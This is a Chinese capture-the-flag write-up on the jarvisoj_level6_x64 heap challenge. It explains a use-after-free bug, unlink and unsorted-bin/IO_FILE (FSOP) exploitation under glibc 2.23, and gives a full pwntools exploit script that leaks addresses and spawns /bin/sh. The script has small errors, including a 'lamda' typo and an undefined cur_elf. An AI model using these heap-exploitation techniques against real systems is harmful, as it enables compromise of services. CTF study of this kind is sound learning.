jarvisoj_level6_x64
jarvisoj_level6_x64
总结
根据本题,学习与收获有:
- 一般来说,在
libc-2.23.so中,能用unlink的题目,基本可以用unsorted bin attack + IO_FILE劫持IO_jump_t结构执行system("/bin/sh")。不用能unlink的题目,但是能溢出修改unsorted bin chunk的size并布局unsorted bin chunk内容,都可以用这一招偷鸡。 - 修改
unsorted bin的size为0x61, 然后从unsorted bin chunk的头部开始,布局如下:[/bin/sh\x00, 0x61 0, _IO_list_all - 0x10, 0, 1, 0xa8 * "\x00", fake_vtable_addr],然后fake_vtable填的内容如下:[0, 0, 0, system_addr]。
checksec

运行环境为ubuntu 16.04,libc-2.23.so。
题目分析
最开始分配一个0x1820的chunk,用于管理所有的note结构。布局如下:

需要注意的是:
- 最后
malloc的参数并不是用户输入的input_size,而是对齐到0x80的大小。但是记录的size确实输入的那个数。 - 在
edit_note函数中,realloc的参数也被同样处理过 - 有一个
read函数,必须填满size,否则会等待输入 - 使用
status来判断note的使用状态,而不是指针
漏洞分析
漏洞点就一个UAF:

利用思路
一般来说,UAF可以用来泄露地址。这里有两种利用思路,分别讲一下;
利用unlink:
- 利用
unsorted bin的fd指针分别泄露出heap地址和libc地址,这样就得到了最初那个0x1820大小的chunk的地址 - 利用
realloc功能来构造unlink条件,结合uaf漏洞,修改某个ptr为ptr - 0x18,这个ptr在0x1820堆块上 - 利用
edit修改atoi@got为system地址 - 输入
/bin/sh拿shell
利用unsorted bin attack + IO_FILE:
- 用同样的方法去泄露地址
- 布局
IO_FILE结构 - 修改
unsorted bin chunk的size为0x61 - 调用
malloc,触发IO_flush_all_lock_up,刷新所有流,执行system("/bin/sh")
最终EXP
from pwn import *
sh = process('freenote_x64')
int16 = lambda x : int(x, base=16)
LOG_ADDR = lamda: x, y: log.info("Addr: {} ===> {}".format(x, y))
libc = ELF('libc-2.23.so')
context.arch="amd64"
def list_note():
sh.sendlineafter("Your choice: ", "1")
msg = sh.recvuntil("== 0ops Free Note ==\n")
info("msg: {}".format(msg))
return msg
def new_note(length, data):
sh.sendlineafter("Your choice: ", "2")
sh.sendlineafter("Length of new note: ", str(length))
sh.sendafter("Enter your note: ", data)
sh.recvline()
def edit_note(idx, length, data):
sh.sendlineafter("Your choice: ", "3")
sh.sendlineafter("Note number: ", str(idx))
sh.sendlineafter("Length of note: ", str(length))
sh.sendafter("Enter your note: ", data)
sh.recvline()
def delete_note(idx):
sh.sendlineafter("Your choice: ", "4")
sh.sendlineafter("Note number: ", str(idx))
sh.recvline()
def attack_unlink():
# leak addr
new_note(0x80, "a" * 0x80) # 0 a
new_note(0x100, "a" * 0x100) # 1 b
new_note(0x80, "a" * 0x80) # 2 c
new_note(0x80, "a" * 0x80) # 3 d
delete_note(2)
delete_note(0) # a ---> c
new_note(0x80, "a" * 0x80) # c
delete_note(2) # c ---> a
# leak heap addr
msg = list_note()
idx = msg.find(b"\n")
leak_heap_addr = u64(msg[3:idx].ljust(8, b"\x00"))
LOG_ADDR("leak_heap_addr", leak_heap_addr)
new_note(0x80, "b" * 0x80) # a
# leak libc addr
msg = list_note()
idx = msg.find(b"\n")
leak_libc_addr = u64(msg[3:idx].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
# realloc and unlink
layout = [0, 0x101, leak_heap_addr-0x17d8 - 0x18,
leak_heap_addr - 0x17d8 - 0x10, 0xe0 * "a",
0x100, 0x90]
edit_note(1, 0x180, flat(layout, length=0x180, filler="a"))
delete_note(0)
layout = [0, [1, 8, cur_elf.got['atoi']] * 2]
edit_note(1, 0x180, flat(layout, length=0x180, filler="\x00"))
edit_note(1, 8, flat(libc.sym['system']))
sh.sendlineafter("Your choice: ", "/bin/sh")
sh.interactive()
def attack_io_file():
# leak addr
new_note(0x200, "a" * 0x200) # 0 a
new_note(0x80, "a" * 0x80) # 1 b
new_note(0x200, "a" * 0x200) # 2 c
new_note(0x80, "a" * 0x80) # 3 d
delete_note(2)
delete_note(0) # a ---> c
new_note(0x200, "a" * 0x200) # c
delete_note(2) # c ---> a
# leak heap addr
msg = list_note()
idx = msg.find(b"\n")
leak_heap_addr = u64(msg[3:idx].ljust(8, b"\x00"))
LOG_ADDR("leak_heap_addr", leak_heap_addr)
new_note(0x200, "b" * 0x200) # a
# leak libc addr
msg = list_note()
idx = msg.find(b"\n")
leak_libc_addr = u64(msg[3:idx].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
io_list_all_addr = libc.sym['_IO_list_all']
layout = ["a" * 0x80, 0, 0x211]
edit_note(1, 0x280, flat(layout, length=0x280, filler="a"))
# re-put unsorted bin
delete_note(0)
layout = ["a" * 0x80, "/bin/sh\x00", 0x61,
0, io_list_all_addr - 0x10, 0, 1, 0xa8 * "\x00",
leak_heap_addr + 0x380, 0, 0, [libc.sym['system']] * 3]
edit_note(1, 0x280, flat(layout, length=0x280, filler="\x00"))
sh.sendlineafter("Your choice: ", "2")
sh.sendlineafter("Length of new note: ", str(0x300))
sh.interactive()
if __name__ == '__main__':
import random
if random.randint(0, 100) >= 50:
info("Use unlink!\n")
sleep(3)
attack_unlink()
else:
info("Use IO_FILE!\n")
sleep(3)
attack_io_file()
远程打:
unlink:

FSOP:

引用与参考
1、My Blog
2、Ctf Wiki
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/14869403.html

浙公网安备 33010602011771号